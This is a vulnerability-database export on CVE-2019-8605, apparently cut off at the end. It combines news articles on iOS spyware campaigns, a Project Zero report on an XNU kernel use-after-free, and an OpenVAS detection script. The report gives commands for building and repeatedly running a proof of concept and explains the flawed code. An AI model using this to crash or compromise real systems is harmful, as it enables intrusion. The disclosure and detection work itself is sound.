iOS 12.3 that patched the bug. \n \nSeveral Apple users have taken to Twitter, claiming they used the Pwn20wnd jailbreak tool to successfully jailbreak [[1](<https://twitter.com/yosy1692/status/1163358975427010560>), [2](<https://twitter.com/Juanillo62gm/status/1163176886845005824?s=20>), [3](<https://twitter.com/Tiagonwk/status/1163243536747311105>), [4](<https://twitter.com/Liaoqingqing520/status/1163366529930412032?s=20>)] their Apple devices, including the recent iPhone X and iPhone XR, and posting screenshots of their iPhone screens with unapproved app installations. \n \nSince Apple doesn't allow users to downgrade their operating system, users who have already upgraded their Apple devices to the latest version of iOS released late last month are left with no option other than waiting for an update from Apple. \n \nLikely, Apple is already working on a patch to re-implement its earlier patch that will be released with iOS 12.4.1. Meanwhile, you should also beware of apps you download from the App Store until a patch releases. \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-08-20T14:54:00", "type": "thn", "title": "iOS 12.4 jailbreak released after Apple 'accidentally un-patches' an old flaw", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-08-20T19:30:02", "id": "THN:BC46175420BE934D07B4CB081F495CCB", "href": "https://thehackernews.com/2019/08/ios-iphone-jailbreak.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:32", "description": "[](<https://thehackernews.com/images/-l-j1592mC9I/Xn3hyLuETvI/AAAAAAAAAJU/DIFfA_78KIIw7NwHSG8Zv48C21xGcxD_wCLcBGAsYHQ/s728-e100/iphone-iOS-spyware.jpg>)\n\nA newly discovered watering-hole campaign is targeting Apple iPhone users in Hong Kong by using malicious website links as a lure to install spyware on the devices. \n \nAccording to research published by [Trend Micro](<https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/>) and [Kaspersky](<https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/>), the \"**Operation Poisoned News**\" attack leverages a remote iOS exploit chain to deploy a feature-rich implant called 'LightSpy' through links to local news websites, which when clicked, executes the malware payload and allows an interloper to exfiltrate sensitive data from the affected device and even take full control. \n \nWatering-hole attacks typically let a bad actor compromise a specific group of end-users by infecting websites that they are known to visit, with an intention to gain access to the victim's device and load it with malware. \n \nThe APT group, dubbed \"TwoSail Junk\" by Kaspersky, is said to be leveraging vulnerabilities present in iOS 12.1 and 12.2 spanning all models from iPhone 6 to the iPhone X, with the attacks first identified on January 10, before intensifying around February 18. \n \n\n\n## Using Malicious Links as Bait to Install Spyware\n\n \nThe campaign uses fake links posted on multiple forums, all popular with Hong Kong residents, that claim to lead to various news stories related to topics that are either sex-related, clickbait, or news related to the ongoing [COVID-19 coronavirus pandemic](<https://thehackernews.com/2020/03/coronavirus-covid-apps-android.html>). \n \n\n\n[](<https://thehackernews.com/images/-FpfyWqHfZwM/Xn3ax54v7KI/AAAAAAAA2l0/Qnbknv9giCoe56A0wYQspJ0QeHK3488rACLcBGAsYHQ/s728-e100/iphone-iOS-spyware.jpg>)\n\n \nClicking the URLs lead the users to legitimate news outlets that have been compromised as well as websites set up specifically for this campaign (e.g., hxxps://appledaily.googlephoto[.]vip/news[.]html) by the operators. In both situations, a hidden iframe is employed to load and execute malicious code. \n \n\"The URLs used led to a malicious website created by the attacker, which in turn contained three iframes that pointed to different sites,\" Trend Micro researchers said. \"The only visible iframe leads to a legitimate news site, which makes people believe they are visiting the said site. One invisible iframe was used for website analytics; the other led to a site hosting the main script of the iOS exploits.\" \n \n\n\n[](<https://thehackernews.com/images/-AxnRxcDhqWc/Xn3cxpkv1PI/AAAAAAAAAI8/lOdz7V7vuZw_2ZBxT19dd6OPDeL82FfDwCLcBGAsYHQ/s728-e100/ios-exploit-malware.jpg>)\n\n \nThe malware in question exploits a \"silently patched\" Safari vulnerability, which when rendered on the browser leads to the exploitation of a [use after free memory flaw](<https://cwe.mitre.org/data/definitions/416.html>) (tracked as [CVE-2019-8605](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8605>)) that allows an attacker to execute arbitrary code with root privileges \u2014 in this case, install the proprietary LightSpy backdoor. The bug has since been resolved with the release of iOS 12.3, macOS Mojave 10.14.5, tvOS 12.3, and watchOS 5.2.1. \n \nThe spyware is not just capable of remotely executing shell commands and taking full control of the device. It also contains a variety of downloadable modules that allow for data exfiltration, such as contact lists, GPS location, Wi-Fi connection history, hardware data, iOS keychains, phone call records, mobile Safari and Chrome browser history, and SMS messages. \n \nIn addition, LightSpy targets messaging applications like Telegram, QQ, and WeChat to steal account information, contacts, groups, messages, and attached files. \n \n\n\n## A Surveillance Operation Targeting Southeast Asia\n\n \nIt is suspected the TwoSail Junk gang is connected to, or possibly the same, as the operators of \"[dmsSpy](<https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/>),\" an Android variant of the same malware that was distributed last year through open Telegram channels under the guise of Hong Kong protest calendar apps among others. \n \n\"dmsSpy's download and command-and-control servers used the same domain name (hkrevolution[.]club) as one of the watering holes used by the iOS component of Poisoned News,\" the researchers observed. \n \nOnce installed, these rogue Android apps harvested and exfiltrated contacts, text messages, the user's location, and the names of stored files. \n \n\"This particular framework and infrastructure is an interesting example of an agile approach to developing and deploying surveillance framework in Southeast Asia,\" Kaspersky researchers concluded. \n \nTrend Micro, for its part, suggested the design and functionality of the campaign aim to compromise as many mobile devices as possible to enable device backdooring and surveillance. \n \nTo mitigate such threats, it's essential that users keep their devices up-to-date and avoid sideloading apps on Android from unauthorized sources.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2020-03-27T11:26:00", "type": "thn", "title": "Hackers Used Local News Sites to Install Spyware On iPhones", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2020-03-27T11:32:12", "id": "THN:38E80608368A67C138D1E4D8187D2AA3", "href": "https://thehackernews.com/2020/03/iphone-iOS-spyware.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-06-27T05:57:36", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEi_58XOVBOF2WpPZngrxCJrgYE6cjkbHpIcr-GX7d5Uzhck2ObXSwQKiQTpq9FmEN3WmoMkwju5efF9Xc01CVrFq1eFhtqleQPi7XpbXcsShqMm6ZWg3YasiFzVSrhfNa_036T7P-qZVmq81PX66kNUWzIRXGQ4MlR1GF-UHRjfbpNeyFAavp0k0JZC/s728-e100/spyware.jpg>)\n\nA week after it emerged that a sophisticated mobile spyware dubbed Hermit was used by the government of Kazakhstan within its borders, Google said it has notified Android users of infected devices.\n\nAdditionally, necessary changes have been implemented in [Google Play Protect](<https://support.google.com/googleplay/answer/2812853?hl=en>) \u2014 Android's built-in malware defense service \u2014 to protect all users, Benoit Sevens and Clement Lecigne of Google Threat Analysis Group (TAG) [said](<https://blog.google/threat-analysis-group/italian-spyware-vendor-targets-users-in-italy-and-kazakhstan/>) in a Thursday report.\n\nHermit, the work of an Italian vendor named RCS Lab, was [documented](<https://thehackernews.com/2022/06/researchers-uncover-hermit-android.html>) by Lookout last week, calling out its modular feature-set and its abilities to harvest sensitive information such as call logs, contacts, photos, precise location, and SMS messages.\n\nOnce the threat has thoroughly insinuated itself into a device, it's also equipped to record audio and make and redirect phone calls, besides abusing its permissions to accessibility services on Android to keep tabs on various foreground apps used by the victims.\n\nIts modularity also enables it to be wholly customizable, equipping the spyware's functionality to be extended or altered at will. It's not immediately clear who were targeted in the campaign, or which of RCS Lab clients were involved. \n\nThe Milan-based company, operating since 1993, [claims](<https://www.rcslab.it/en/about-us/index.html>) to provide \"law enforcement agencies worldwide with cutting-edge technological solutions and technical support in the field of lawful interception for more than twenty years.\" More than 10,000 intercepted targets are purported to be handled daily in Europe alone.\n\n\"Hermit is yet another example of a digital weapon being used to target civilians and their mobile devices, and the data collected by the malicious parties involved will surely be invaluable,\" Richard Melick, director of threat reporting for Zimperium, said.\n\nThe targets have their phones infected with the spy tool via drive-by downloads as initial infection vectors, which, in turn, entails sending a unique link in an SMS message that, upon clicking, activates the attack chain.\n\nIt's suspected that the actors worked in collaboration with the targets' internet service providers (ISPs) to disable their mobile data connectivity, followed by sending an SMS that urged the recipients to install an application to restore mobile data access.\n\n\"We believe this is the reason why most of the applications masqueraded as mobile carrier applications,\" the researchers said. \"When ISP involvement is not possible, applications are masqueraded as messaging applications.\"\n\nTo compromise iOS users, the adversary is said to have relied on provisioning profiles that allow fake carrier-branded apps to be sideloaded onto the devices without the need for them to be available on the App Store.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgKxf3LTdIpRlLTdHVMxJz6DMcp25ikFt0T4002dNVYUAA6N0eJGSGDEFVP-CRn4VeFeAxsc_k4l9zOPwHc_D1G_ZenuJ81jtGLPAQRJ08AE58sXgpjH7D9NTWe8fkjGVzgwdoTblTH8Jx9fB9hC_Yw2E7qbLfLScV80Ub9Hs9ZWfMo-n8iuihKPw85/s728-e100/android.jpg>)\n\nAn analysis of the iOS version of the app shows that it leverages as many as six exploits \u2014 [CVE-2018-4344](<https://nvd.nist.gov/vuln/detail/CVE-2018-4344>), [CVE-2019-8605](<https://nvd.nist.gov/vuln/detail/cve-2019-8605>), [CVE-2020-3837](<https://nvd.nist.gov/vuln/detail/CVE-2020-3837>), [CVE-2020-9907](<https://nvd.nist.gov/vuln/detail/CVE-2020-9907>), [CVE-2021-30883](<https://thehackernews.com/2021/10/apple-releases-urgent-iphone-and-ipad.html>), and [CVE-2021-30983](<https://thehackernews.com/2021/12/latest-apple-ios-update-patches-remote.html>) \u2014 to exfiltrate files of interest, such as WhatsApp databases, from the device.\n\n\"As the curve slowly shifts towards memory corruption exploitation getting more expensive, attackers are likely shifting too,\" Google Project Zero's Ian Beer [said](<https://googleprojectzero.blogspot.com/2022/06/curious-case-carrier-app.html>) in a deep-dive analysis of an iOS artifact that impersonated the My Vodafone carrier app.\n\nOn Android, the drive-by attacks require that victims enable a setting to install third-party applications from unknown sources, doing so which results in the rogue app, masquerading as smartphone brands like Samsung, requesting for extensive permissions to achieve its malicious goals.\n\nThe Android variant, besides attempting to root the device for entrenched access, is also wired differently in that instead of bundling exploits in the APK file, it contains functionality that permits it to fetch and execute arbitrary remote components that can communicate with the main app.\n\n\"This campaign is a good reminder that attackers do not always use exploits to achieve the permissions they need,\" the researchers noted. \"Basic infection vectors and drive by downloads still work and can be very efficient with the help from local ISPs.\"\n\nStating that seven of the nine zero-day exploits it discovered in 2021 were developed by [commercial providers](<https://thehackernews.com/2022/05/cytroxs-predator-spyware-target-android.html>) and sold to and used by [government-backed actors](<https://thehackernews.com/2022/06/nso-confirms-pegasus-spyware-used-by-at.html>), the tech behemoth said it's tracking more than 30 vendors with varying levels of sophistication who are known to trade exploits and surveillance capabilities.\n\nWhat's more, Google TAG raised concerns that vendors like RCS Lab are \"stockpiling zero-day vulnerabilities in secret\" and cautioned that this poses severe risks considering a number of spyware vendors have been compromised over the past ten years, \"raising the specter that their stockpiles can be released publicly without warning.\"\n\n\"Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits,\" TAG said.\n\n\"While use of surveillance technologies may be legal under national or international laws, they are often found to be used by governments for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers and opposition party politicians.\"\n\n**_Update:_** When reached for comment, RCS Lab said its \"core business is the design, production and implementation of software platforms dedicated to lawful interception, forensic intelligence, and data analysis\" and that it helps law enforcement prevent and investigate serious crimes such as acts of terrorism, drug trafficking, organized crime, child abuse, and corruption.\n\nHere is the rest of unattributed statement -\n\n_RCS Lab exports its products in compliance with both national and European rules and regulations. Any sales or implementation of products is performed only after receiving an official authorization from the competent authorities. Our products are delivered and installed within the premises of approved customers. RCS Lab personnel are not exposed, nor participate in any activities conducted by the relevant customers. RCS Lab strongly condemns any abuse or improper use of its products which are designed and produced with the intent of supporting the legal system in preventing and combating crime._\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-24T11:40:00", "type": "thn", "title": "Google Says ISPs Helped Attackers Infect Targeted Smartphones with Hermit Spyware", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4344", "CVE-2019-8605", "CVE-2020-3837", "CVE-2020-9907", "CVE-2021-30883", "CVE-2021-30983"], "modified": "2022-06-27T05:57:22", "id": "THN:C19BDA30D2242223E7A434F1E4051E68", "href": "https://thehackernews.com/2022/06/google-says-isps-helped-attackers.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-07-01T17:21:05", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEh27MmgEKR4VQaH1Y1a5Tyhwi79vrhj-AlRf9D39bbkC4uyHLaQzptydYJYrq3DKH2rTA6dQpDGZ27k3bvxNHSKdcitKwKFPIdvSmUGI1uOwO-fI9TRSnHoUJQfaugfF7mE9l6fJbgMIAQ61Efis8jhvOy2YtnehFwVfXvcGkeFB_B4M4sD49Jz8xiw/s728-e100/linux.jpg>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) this week moved to [add](<https://www.cisa.gov/uscert/ncas/current-activity/2022/06/27/cisa-adds-eight-known-exploited-vulnerabilities-catalog>) a Linux vulnerability dubbed **PwnKit** to its [Known Exploited Vulnerabilities Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>), citing evidence of active exploitation.\n\nThe issue, tracked as [CVE-2021-4034](<https://nvd.nist.gov/vuln/detail/CVE-2021-4034>) (CVSS score: 7.8), came to light in January 2022 and concerns a case of [local privilege escalation](<https://thehackernews.com/2022/01/12-year-old-polkit-flaw-lets.html>) in polkit's pkexec utility, which allows an authorized user to execute commands as another user.\n\nPolkit (formerly called PolicyKit) is a toolkit for controlling system-wide privileges in Unix-like operating systems, and provides a mechanism for non-privileged processes to communicate with privileged processes.\n\nSuccessful exploitation of the flaw could induce pkexec to execute arbitrary code, granting an unprivileged attacker administrative rights on the target machine. It's not immediately clear how the vulnerability is being weaponized in the wild, nor is there any information on the identity of the threat actor that may be exploiting it.\n\nAlso included in the catalog is [CVE-2021-30533](<https://blog.confiant.com/malvertising-threat-actor-yosec-exploits-browser-bugs-to-push-malware-cve-2021-1765-3040dd3c4af1>), a security shortcoming in Chromium-based web browsers that was leveraged by a malvertising threat actor codenamed Yosec to deliver dangerous payloads last year.\n\nFurthermore, the agency added the newly disclosed Mitel VoIP zero-day ([CVE-2022-29499](<https://thehackernews.com/2022/06/hackers-exploit-mitel-voip-zero-day-bug.html>)) as well as [five Apple iOS vulnerabilities](<https://thehackernews.com/2022/06/google-says-isps-helped-attackers.html>) (CVE-2018-4344, CVE-2019-8605, CVE-2020-9907, CVE-2020-3837, and CVE-2021-30983) that were recently uncovered as having been abused by Italian spyware vendor RCS Lab.\n\nTo mitigate any potential risk of exposure to cyberattacks, it's recommended that organizations prioritize timely remediation of the issues. Federal Civilian Executive Branch Agencies, however, are required to mandatorily patch the flaws by July 18, 2022.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-29T04:01:00", "type": "thn", "title": "CISA Warns of Active Exploitation of 'PwnKit' Linux Vulnerability in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4344", "CVE-2019-8605", "CVE-2020-3837", "CVE-2020-9907", "CVE-2021-1765", "CVE-2021-30533", "CVE-2021-30983", "CVE-2021-4034", "CVE-2022-29499"], "modified": "2022-07-01T15:53:51", "id": "THN:4376782A3F009FEED68FDD2022A11EF5", "href": "https://thehackernews.com/2022/06/cisa-warns-of-active-exploitation-of.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2019-05-24T12:45:04", "description": "", "cvss3": {}, "published": "2019-05-21T00:00:00", "type": "packetstorm", "title": "XNU Stale Pointer Use-After-Free", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2019-8605"], "modified": "2019-05-21T00:00:00", "id": "PACKETSTORM:152993", "href": "https://packetstormsecurity.com/files/152993/XNU-Stale-Pointer-Use-After-Free.html", "sourceData": "`XNU: Use-after-free due to stale pointer left by in6_pcbdetach \n \nRelated CVE Numbers: CVE-2019-8605Fixed-2019-May-13. \n \n \n# Reproduction \nRepros on 10.14.3 when run as root. It may need multiple tries to trigger. \n$ clang -o in6_selectsrc in6_selectsrc.cc \n$ while 1; do sudo ./in6_selectsrc; done \nres0: 3 \nres1: 0 \nres1.5: -1 // failure expected here \nres2: 0 \ndone \n... \n[crash] \n \n# Explanation \nThe following snippet is taken from in6_pcbdetach: \n``` \nvoid \nin6_pcbdetach(struct inpcb *inp) \n{ \n// ... \n\\tif (!(so->so_flags & SOF_PCBCLEARING)) { \n\\t\\tstruct ip_moptions *imo; \n\\t\\tstruct ip6_moptions *im6o; \n \n\\t\\tinp->inp_vflag = 0; \n\\t\\tif (inp->in6p_options != NULL) { \n\\t\\t\\tm_freem(inp->in6p_options); \n\\t\\t\\tinp->in6p_options = NULL; // <- good \n\\t\\t} \n\\t\\tip6_freepcbopts(inp->in6p_outputopts); // <- bad \n\\t\\tROUTE_RELEASE(&inp->in6p_route); \n\\t\\t// free IPv4 related resources in case of mapped addr \n\\t\\tif (inp->inp_options != NULL) { \n\\t\\t\\t(void) m_free(inp->inp_options); // <- good \n\\t\\t\\tinp->inp_options = NULL; \n\\t\\t} \n``` \n \nNotice that freed options must also be cleared so they are not accidentally reused. \nThis can happen when a socket is disconnected and reconnected without being destroyed. \nIn the inp->in6p_outputopts case, the options are freed but not cleared, so they can be \nused after they are freed. \n \nThis specific PoC requires root because I use raw sockets, but it's possible other socket \ntypes suffer from this same vulnerability. \n \n# Crash Log \npanic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers: \nCR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0 \nRAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000 \nRSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001 \nR8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000 \nR12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000 \nRFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010 \nFault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0 \n \nBacktrace (CPU 4), Frame : Return Address \n0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d \n0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153 \n0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa \n0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0 \n0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197 \n0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63 \n0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d \n0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0 \n0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114 \n0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75 \n0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284 \n0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f \n0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b \n0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16 \n \nBSD process name corresponding to current thread: in6_selectsrc \nBoot args: keepsyms=1 -v=1 \n \nMac OS version: \n18D109 \n \nThis bug is subject to a 90 day disclosure deadline. After 90 days elapse \nor a patch has been made broadly available (whichever is earlier), the bug \nreport will become visible to the public. \n \n \n \nFound by: nedwill@google.com \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/152993/GS20190522003815.txt"}], "openvas": [{"lastseen": "2020-03-05T16:57:30", "description": "This host is installed with Apple Mac OS X\n and is prone to arbitrary code execution vulnerability.", "cvss3": {}, "published": "2019-09-11T00:00:00", "type": "openvas", "title": "Apple MacOSX Security Updates(HT210548)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8605"], "modified": "2020-03-04T00:00:00", "id": "OPENVAS:1361412562310815616", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310815616", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.815616\");\n script_version(\"2020-03-04T09:29:37+0000\");\n script_cve_id(\"CVE-2019-8605\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-03-04 09:29:37 +0000 (Wed, 04 Mar 2020)\");\n script_tag(name:\"creation_date\", value:\"2019-09-11 08:59:02 +0530 (Wed, 11 Sep 2019)\");\n script_name(\"Apple MacOSX Security Updates(HT210548)\");\n\n script_tag(name:\"summary\", value:\"This host is installed with Apple Mac OS X\n and is prone to arbitrary code execution vulnerability.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present\n on the target host.\");\n\n script_tag(name:\"insight\", value:\"The flaw exists due to a use after free issue\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation allows attackers\n to cause arbitrary code execution\");\n\n script_tag(name:\"affected\", value:\"Apple Mac OS X version 10.14.6\");\n\n script_tag(name:\"solution\", value:\"Apply appropriate security updates from\n the vendor. Please see the references for more information.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_xref(name:\"URL\", value:\"https://support.apple.com/en-us/HT210548\");\n\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Mac OS X Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/osx_name\", \"ssh/login/osx_version\");\n exit(0);\n}\n\n\ninclude(\"version_func.inc\");\ninclude(\"ssh_func.inc\");\n\nosName = get_kb_item(\"ssh/login/osx_name\");\nif(!osName){\n exit (0);\n}\n\nosVer = get_kb_item(\"ssh/login/osx_version\");\nif(!osVer || osVer !~ \"^10\\.14\\.\" || \"Mac OS X\" >!< osName){\n exit(0);\n}\n\nbuildVer = get_kb_item(\"ssh/login/osx_build\");\nif(osVer =~ \"^10\\.14\")\n{\n if(version_in_range(version:osVer, test_version:\"10.14\", test_version2:\"10.14.5\")){\n fix = \"Upgrade to latest OS release and apply patch from vendor\";\n }\n else if(osVer == \"10.14.6\")\n {\n if(buildVer && version_is_less(version:buildVer, test_version:\"18G95\"))\n {\n fix = \"Apply patch from vendor\";\n osVer = osVer + \" Build \" + buildVer;\n }\n }\n}\n\nif(fix)\n{\n report = report_fixed_ver(installed_version:osVer, fixed_version:fix);\n security_message(data:report);\n exit(0);\n}\nexit(0);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-12-23T00:22:18", "description": "This host is installed with Apple Mac OS X\n and is prone to multiple vulnerabilities.", "cvss3": {}, "published": "2019-05-14T00:00:00", "type": "openvas", "title": "Apple MacOSX Security Updates (HT210119) - 02", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-8603", "CVE-2019-8591", "CVE-2019-8604", "CVE-2019-8590", "CVE-2019-8605", "CVE-2019-8574"], "modified": "2019-05-22T00:00:00", "id": "OPENVAS:1361412562310814888", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310814888", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the 